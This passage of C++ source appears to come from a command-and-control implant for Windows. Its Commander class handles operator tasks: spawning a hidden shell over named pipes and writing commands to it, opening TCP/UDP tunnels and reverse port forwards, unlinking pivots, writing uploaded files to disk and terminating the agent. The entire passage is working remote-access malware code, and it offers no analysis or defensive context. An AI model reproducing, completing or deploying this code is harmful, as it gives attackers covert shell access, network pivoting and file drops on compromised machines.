HANDLE beaconInPipe = ApiWin->CreateNamedPipeA(pipeName, PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 0x4000, 0x4000, 0, &sa);
HANDLE shellInPipe = ApiWin->CreateFileA(pipeName, FILE_READ_DATA | SYNCHRONIZE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
MemFreeLocal((LPVOID*) &pipeName, 18);
spi.hStdInput = shellInPipe;
spi.hStdOutput = shellOutPipe;
spi.hStdError = shellOutPipe;
BOOL result = ApiWin->CreateProcessA(NULL, progArgs, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &spi, &pi);
ApiNt->NtClose(shellOutPipe);
ApiNt->NtClose(shellInPipe);
if (result) {
JobData job = agent->jober->CreateJobData(shellId, JOB_TYPE_SHELL, JOB_STATE_RUNNING, pi.hProcess, pi.dwProcessId, beaconOutPipe, beaconInPipe);
outPacker->Pack32(shellId);
outPacker->Pack32(COMMAND_JOB);
outPacker->Pack8(JOB_TYPE_SHELL);
outPacker->Pack8(JOB_STATE_STARTING);
}
else {
if (beaconOutPipe) {
ApiNt->NtClose(beaconOutPipe);
beaconOutPipe = NULL;
}
if (beaconInPipe) {
ApiNt->NtClose(beaconInPipe);
beaconInPipe = NULL;
}
outPacker->Pack32(shellId);
outPacker->Pack32(COMMAND_JOB);
outPacker->Pack8(JOB_TYPE_SHELL);
outPacker->Pack8(JOB_STATE_FINISHED);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdShellWrite(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG jobId = inPacker->Unpack32();
ULONG dataSize = 0;
CHAR* data = (CHAR*)inPacker->UnpackBytes(&dataSize);
ULONG taskId = inPacker->Unpack32();
for (int i = 0; i < agent->jober->jobs.size(); i++) {
if (jobId == agent->jober->jobs[i].jobId && agent->jober->jobs[i].jobState == JOB_STATE_RUNNING && agent->jober->jobs[i].pipeWrite) {
DWORD written = 0;
ApiWin->WriteFile(agent->jober->jobs[i].pipeWrite, data, dataSize, &written, NULL);
break;
}
}
}
void Commander::CmdTerminate(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
agent->config->exit_method = inPacker->Unpack32();
agent->config->exit_task_id = inPacker->Unpack32();
agent->Active = FALSE;
}
void Commander::CmdTunnelMsgConnectTCP(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
ULONG tunnelType = inPacker->Unpack32();
ULONG addrSize = 0;
CHAR* addr = (CHAR*)inPacker->UnpackBytes(&addrSize);
WORD port = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
this->agent->proxyfire->ConnectMessageTCP(channelId, tunnelType, addr, port, outPacker);
}
void Commander::CmdTunnelMsgConnectUDP(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
ULONG addrSize = 0;
CHAR* addr = (CHAR*)inPacker->UnpackBytes(&addrSize);
WORD port = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
this->agent->proxyfire->ConnectMessageUDP(channelId, addr, port, outPacker);
}
void Commander::CmdTunnelMsgWriteTCP(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
ULONG dataSize = 0;
CHAR* data = (CHAR*)inPacker->UnpackBytes(&dataSize);
ULONG taskId = inPacker->Unpack32();
this->agent->proxyfire->ConnectWriteTCP(channelId, data, dataSize, outPacker);
}
void Commander::CmdTunnelMsgWriteUDP(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
ULONG dataSize = 0;
CHAR* data = (CHAR*)inPacker->UnpackBytes(&dataSize);
ULONG taskId = inPacker->Unpack32();
this->agent->proxyfire->ConnectWriteUDP(channelId, data, dataSize);
}
void Commander::CmdTunnelMsgPause(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
this->agent->proxyfire->ConnectPause(channelId);
}
void Commander::CmdTunnelMsgResume(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
this->agent->proxyfire->ConnectResume(channelId);
}
void Commander::CmdTunnelMsgClose(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG channelId = inPacker->Unpack32();
this->agent->proxyfire->ConnectClose(channelId);
}
void Commander::CmdTunnelMsgReverse(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG tunnelId = inPacker->Unpack32();
WORD port = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
this->agent->proxyfire->ConnectMessageReverse(tunnelId, port, outPacker);
}
void Commander::CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pivotId = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
this->agent->pivotter->UnlinkPivot(taskId, commandId, pivotId, outPacker);
}
void Commander::CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG memoryId = inPacker->Unpack32();
ULONG pathSize = 0;
CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
if ( !agent->memorysaver->chunks.contains(memoryId) )
return;
MemoryData memData = agent->memorysaver->chunks[memoryId];
if (memData.complete) {
BOOL result = false;
DWORD written = 0;
HANDLE hFile = ApiWin->CreateFileA(path, GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
result = ApiWin->WriteFile(hFile, memData.buffer, memData.totalSize, &written, NULL);
if (result) {
outPacker->Pack32(COMMAND_UPLOAD);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
if (hFile) {
ApiNt->NtClose(hFile);
hFile = NULL;
}
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(2);
}
agent->memorysaver->RemoveMemoryData(memoryId);
}
void Commander::CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG memoryId = inPacker->Unpack32();
ULONG totalSize = inPacker->Unpack32();
ULONG bufferSize = 0;
BYTE* buffer = inPacker->UnpackBytes(&bufferSize);
ULONG taskId = inPacker->Unpack32();
this->agent->memorysaver->WriteMemoryData(memoryId, totalSize, bufferSize, buffer);
}
void Commander::Exit(Packer* outPacker)
{
outPacker->Pack32(agent->config->exit_task_id);
outPacker->Pack32(COMMAND_TERMINATE);
outPacker->Pack32(agent->config->exit_method);
}